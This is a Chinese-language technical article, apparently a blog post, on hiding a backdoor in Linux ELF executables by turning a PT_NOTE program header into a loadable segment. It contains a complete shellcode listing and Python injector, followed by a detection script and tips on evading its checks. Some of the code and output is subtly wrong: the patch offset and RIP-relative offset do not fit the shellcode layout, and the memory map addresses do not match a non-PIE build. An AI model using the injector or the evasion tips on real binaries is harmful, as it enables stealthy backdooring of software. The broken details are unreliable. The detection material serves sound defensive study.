「幻核-8」你的 ELF 文件里藏了个后门,但 file 命令看不出来
字数 3881
更新时间 2026-07-12 13:25:10

ELF 文件 PT_NOTE 劫持注入技术详解

一、背景原理:ELF 的两套索引系统

ELF 文件内部包含两套相互独立的描述自身结构的“索引”:

1.1 Section Header Table(节头表)

  • 作用对象:链接器、调试工具(readelf -Sobjdumpgdbstrip
  • 内容:列出 .text.data.rodata 等 section 的名称、位置、大小
  • 不被内核使用

1.2 Program Header Table(程序头表)

  • 作用对象:内核加载器(execve() 系统调用)
  • 内容:描述 segment 的文件偏移、虚拟地址、权限(RWX)、对齐要求
  • 内核完全不读取 Section Header Table

核心漏洞点:分析工具查看 Section Header,加载器查看 Program Header,两者互不干扰。修改 Program Header 而不动 Section Header,分析工具看到的是“正常”的,加载器执行的却是被篡改的内容。


二、攻击手法:PT_NOTE → PT_LOAD 转换

2.1 PT_NOTE 段特性

Program Header 中每个 segment 的 p_type 字段决定加载器如何处理:

p_type 值 含义 加载器处理方式
1 (PT_LOAD) 需映射到内存的段 mmap 到指定虚拟地址,设置 RWX 权限
2 (PT_DYNAMIC) 动态链接信息 交给 ld-linux 解析
4 (PT_NOTE) 辅助元信息 读取但不强制要求
6 (PT_PHDR) Program Header 自身 内部定位用

PT_NOTE 存储编译器版本、ABI 标识、Build ID 等元信息,对程序运行无影响。内核不会因缺少 NOTE 而拒绝加载。

2.2 攻击步骤

将 PT_NOTE 的 p_type 从 4 改为 1(PT_LOAD),内核会将其当作新代码段 mmap。具体操作:

  1. 让伪造的 LOAD 段指向文件末尾追加的 shellcode
  2. 分配不与现有段冲突的虚拟地址
  3. 权限设为 R+X(可读可执行)
  4. 修改 ELF header 中的 e_entry 指向 shellcode

总修改量:56 字节(一个 Program Header 条目)+ 8 字节(e_entry)= 64 字节


三、实操:完整注入流程

3.1 准备目标程序

gcc -o hello -no-pie hello.c

-no-pie 关闭地址随机化,便于观察固定地址。

3.2 分析目标结构

查看 Program Header:

readelf -l hello

典型输出中包含多个 PT_NOTE 段:

  • .note.gnu.property(偏移 0x400350,大小 0x20)
  • .note.gnu.build-id(偏移 0x400370,大小 0x24)
  • .note.ABI-tag(偏移 0x4020e4,大小 0x20)

选择第一个 PT_NOTE 进行劫持。其在 Program Header Table 中的文件偏移计算:

偏移 = 64(ELF header 大小)+ 7(索引)× 56(每个 Phdr 大小)= 456 = 0x1c8

3.3 编写 Shellcode

Shellcode 功能:

  1. 保存寄存器状态
  2. 执行恶意操作(示例:打印 "INFECTED")
  3. 恢复寄存器
  4. 跳转回原始入口点(OEP)

shellcode.asm

; 保存寄存器
push rax
push rcx
push rdx
push rsi
push rdi
push r11

; syscall write(1, msg, 9)
mov eax, 1          ; syscall number
mov edi, 1          ; fd = stdout
lea rsi, [rip+0x1a] ; RIP-relative addressing to msg
mov edx, 9          ; length
syscall

; 恢复寄存器
pop r11
pop rdi
pop rsi
pop rdx
pop rcx
pop rax

; 跳转到原始入口点
mov rax, 0x4141414141414141  ; OEP placeholder
jmp rax

; 字符串数据
msg: db "INFECTED", 0x0a

编译为原始机器码:

nasm -f bin -o shellcode.bin shellcode.asm

3.4 注入器实现

Python 注入脚本(仅依赖 struct 模块):

import struct
import sys

def inject(target_path, shellcode_path):
    # 1. 读取 shellcode,替换 OEP 占位符
    with open(shellcode_path, 'rb') as f:
        sc = bytearray(f.read())
    
    # 2. 读取目标 ELF
    with open(target_path, 'rb') as f:
        elf_data = bytearray(f.read())
    
    # 3. 获取原始入口点
    e_entry = struct.unpack_from('<Q', elf_data, 24)[0]
    
    # 4. 替换 shellcode 中的 OEP 占位符
    oep_offset = 0x26  # shellcode 中 mov rax, imm64 的位置
    sc[oep_offset:oep_offset+8] = struct.pack('<Q', e_entry)
    
    # 5. 查找第一个 PT_NOTE
    e_phoff = struct.unpack_from('<Q', elf_data, 32)[0]  # Program Header offset
    e_phentsize = struct.unpack_from('<H', elf_data, 54)[0]  # Phdr entry size
    e_phnum = struct.unpack_from('<H', elf_data, 56)[0]  # Number of Phdr entries
    
    for i in range(e_phnum):
        phdr_offset = e_phoff + i * e_phentsize
        p_type = struct.unpack_from('<I', elf_data, phdr_offset)[0]
        if p_type == 4:  # PT_NOTE
            target_phdr = phdr_offset
            break
    else:
        print("No PT_NOTE found")
        return False
    
    # 6. 构造新的 Program Header
    sc_size = len(sc)
    sc_file_offset = (len(elf_data) + 0xfff) & ~0xfff  # 页对齐
    sc_vaddr = 0xc000000  # 高地址避免冲突
    
    new_phdr = struct.pack(
        '<IIQQQQQQ',
        1,          # p_type = PT_LOAD
        5,          # p_flags = R+X
        sc_file_offset,  # p_offset
        sc_vaddr,   # p_vaddr
        sc_vaddr,   # p_paddr
        sc_size,    # p_filesz
        sc_size,    # p_memsz
        0x1000      # p_align
    )
    
    # 7. 写入修改
    elf_data[target_phdr:target_phdr+56] = new_phdr
    struct.pack_into('<Q', elf_data, 24, sc_vaddr)  # 修改 e_entry
    
    # 8. 追加 shellcode(页对齐)
    padding = sc_file_offset - len(elf_data)
    elf_data.extend(b'\x00' * padding)
    elf_data.extend(sc)
    
    # 9. 写出注入后的文件
    output_path = target_path + '.infected'
    with open(output_path, 'wb') as f:
        f.write(elf_data)
    
    return True

3.5 执行注入

python3 injector.py hello shellcode.bin
./hello.infected

输出:

INFECTED
hello world

Shellcode 执行后正确跳回原始入口点,程序正常退出(返回码 0)。


四、注入效果验证

4.1 filereadelf -S 完全看不出异常

file hello.infected
# ELF 64-bit LSB executable, x86-64, dynamically linked

readelf -S hello.infected
# 三个 .note section 安静躺在原地,类型、地址、大小全未改变

原因:这两条命令只看 ELF Header 和 Section Header,不检查 Program Header 具体内容。

4.2 破绽在 Program Header 中

readelf -l hello.infected

对比原始版本,第 8 个条目从 NOTE 变为 LOAD,三个疑点:

  1. 虚拟地址 0xc000000——正常代码段在 0x400000 附近,跳了 187 MB
  2. 大小仅 0x3b(59 字节)——正常 LOAD 段至少几百字节
  3. 权限 R E(可读可执行)——不像数据段

4.3 入口点变化

readelf -h hello.infected

入口点从 .text 段内的 _start(0x401040)跳到了 0xc000000——注入的 shellcode 地址。

4.4 Program Header 字节级变化

修改前(PT_NOTE)→ 修改后(PT_LOAD)的变化:

字段 注入前 注入后 变化
p_type 04 (NOTE) 01 (LOAD) 段类型变更
p_flags 04 (R) 05 (R|X) 增加执行权限
p_offset 0x350 0x4000 指向文件末尾 shellcode
p_vaddr 0x400350 0xc000000 虚拟地址跳到高位
p_filesz 0x24 (36B) 0x3b (59B) 数据大小变更
p_align 0x4 0x1000 PT_LOAD 要求页对齐

4.5 运行时内存布局验证

通过 /proc/self/maps 验证内核确实映射了 0xc000000:

556677890000-556677895000 r-xp 00000000 08:01 12345 /tmp/hello.infected
5566778a4000-5566778a5000 r--p 00004000 08:01 12345 /tmp/hello.infected
...
0c000000-0c001000 r-xp 00004000 08:01 12345 /tmp/hello.infected

0xc000000 被映射,权限 r-xp,文件偏移 0x4000——与 Program Header 填写一致。

4.6 文件大小变化

原始文件约 16 KB,注入后增加约 667 字节(608 字节对齐填充 + 59 字节 shellcode),仅增大 4%。


五、检测方法:PT_NOTE 劫持识别

5.1 四个检测痕迹

痕迹 1:Section Header 与 Program Header 不一致
正常 ELF 中,有几个 .note.* section,Program Header 就应该有几个 PT_NOTE。若 section 显示 3 个 NOTE 但 Program Header 只剩 2 个,则有人将一个 NOTE 改成了其他类型。

痕迹 2:PT_LOAD 段虚拟地址跳跃过大
正常 LOAD 段地址基本连续在 0x400000 附近。出现 0xc000000 的 LOAD 段,中间跳跃 187 MB,极不正常。

痕迹 3:入口点不在 .text 范围内
e_entry 应落在 .text 段地址范围内。指向一个孤立的小 LOAD 段,表明被注入。

痕迹 4:微型 PT_LOAD 段
正常代码段至少几百字节。几十字节的 LOAD 段几乎可以肯定是 shellcode。

5.2 检测脚本

import struct
import sys

def detect_injection(elf_path):
    alerts = []
    
    with open(elf_path, 'rb') as f:
        data = f.read()
    
    # 解析 ELF header
    e_entry = struct.unpack_from('<Q', data, 24)[0]
    e_phoff = struct.unpack_from('<Q', data, 32)[0]
    e_phentsize = struct.unpack_from('<H', data, 54)[0]
    e_phnum = struct.unpack_from('<H', data, 56)[0]
    e_shoff = struct.unpack_from('<Q', data, 40)[0]
    e_shnum = struct.unpack_from('<H', data, 60)[0]
    
    # 收集所有 PT_LOAD 段信息
    load_segments = []
    note_count_phdr = 0
    
    for i in range(e_phnum):
        phdr = e_phoff + i * e_phentsize
        p_type = struct.unpack_from('<I', data, phdr)[0]
        
        if p_type == 1:  # PT_LOAD
            p_vaddr = struct.unpack_from('<Q', data, phdr + 16)[0]
            p_filesz = struct.unpack_from('<Q', data, phdr + 32)[0]
            p_flags = struct.unpack_from('<I', data, phdr + 4)[0]
            load_segments.append((p_vaddr, p_filesz, p_flags))
        
        elif p_type == 4:  # PT_NOTE
            note_count_phdr += 1
    
    # 痕迹 4:微型 LOAD 段
    for vaddr, filesz, flags in load_segments:
        if filesz < 200 and (flags & 1):  # 可执行且小于 200 字节
            alerts.append(f"微型可执行 LOAD 段: vaddr=0x{vaddr:x}, size={filesz}")
    
    # 痕迹 2:地址跳跃
    if len(load_segments) >= 2:
        sorted_segs = sorted(load_segments, key=lambda x: x[0])
        for i in range(len(sorted_segs) - 1):
            gap = sorted_segs[i+1][0] - (sorted_segs[i][0] + sorted_segs[i][1])
            if gap > 0x1000000:  # 16 MB 阈值
                alerts.append(f"地址跳跃过大: 0x{sorted_segs[i][0]:x} → 0x{sorted_segs[i+1][0]:x}, gap=0x{gap:x}")
    
    # 痕迹 3:入口点不在正常范围内
    text_start = None
    text_end = None
    for vaddr, filesz, flags in load_segments:
        if flags & 1:  # 可执行
            if text_start is None or vaddr < text_start:
                text_start = vaddr
            seg_end = vaddr + filesz
            if text_end is None or seg_end > text_end:
                text_end = seg_end
    
    if text_start and text_end:
        if not (text_start <= e_entry < text_end):
            alerts.append(f"入口点 0x{e_entry:x} 不在可执行段范围内 (0x{text_start:x}-0x{text_end:x})")
    
    # 痕迹 1:NOTE 数量不一致
    if e_shoff != 0:
        note_count_section = 0
        for i in range(e_shnum):
            shdr = e_shoff + i * 64
            sh_name = struct.unpack_from('<I', data, shdr)[0]
            sh_type = struct.unpack_from('<I', data, shdr + 4)[0]
            if sh_type == 7:  # SHT_NOTE
                note_count_section += 1
        
        if note_count_section != note_count_phdr:
            alerts.append(f"NOTE 数量不一致: section={note_count_section}, program header={note_count_phdr}")
    
    return alerts

5.3 对抗检测的实验

实验 1:将虚拟地址靠近正常范围
sc_vaddr 从 0xc000000 改为 0x800000:

  • 地址跳跃告警消失(间隔约 4 MB,低于 16 MB 阈值)
  • 但其他三条告警仍在

实验 2:静默 shellcode
去掉打印功能,只保留跳转回 OEP:

  • 运行时行为与原程序完全一致,无可观测差异
  • 但静态分析 Program Header 仍能检测

实验 3:清除 Section Header
e_shoffe_shnum 清零:

  • NOTE section 计数规则失效
  • 但“微型 LOAD 段”、“异常入口点”、“地址跳跃”三条规则仍然有效

最难规避的组合:“微型 LOAD 段”+“入口点在微型 LOAD 段里”。要绕过需将 shellcode padding 到几百字节以上并设法不改入口点(如 hook .init_array),但会引入新痕迹。


六、手法局限性

  1. 需要 PT_NOTE 段存在:musl-gcc -static -nostdlib 编译的极简二进制可能没有 NOTE 段。但大多数 GCC/Clang 编译的常规程序至少带一个 .note.gnu.build-id

  2. 入口点修改太显眼:在严格安全审计场景(如 YARA 规则匹配入口点范围)中,改 e_entry 容易被发现。更隐蔽的做法是 hook .init_array,但同样会留下痕迹。

  3. 不绕过代码签名:若系统开启 IMA/EVM 对 ELF 做签名校验,任何字节级修改都会被检测。但多数 Linux 生产环境未启用此功能。


七、总结

两套索引系统各管各的——分析工具看 Section Header,加载器看 Program Header——中间的认知差形成攻击面。PT_NOTE 劫持可在二进制分发阶段植入后门,不改源码、不改编译流程、不触发源码级审计,只在最终产物上动手。

防御关键:不能只看 Section Header,必须交叉验证 Program Header。任何声称检查 ELF 完整性的工具,若未对比两套索引的一致性,都存在盲区。

相似文章
相似文章
 全屏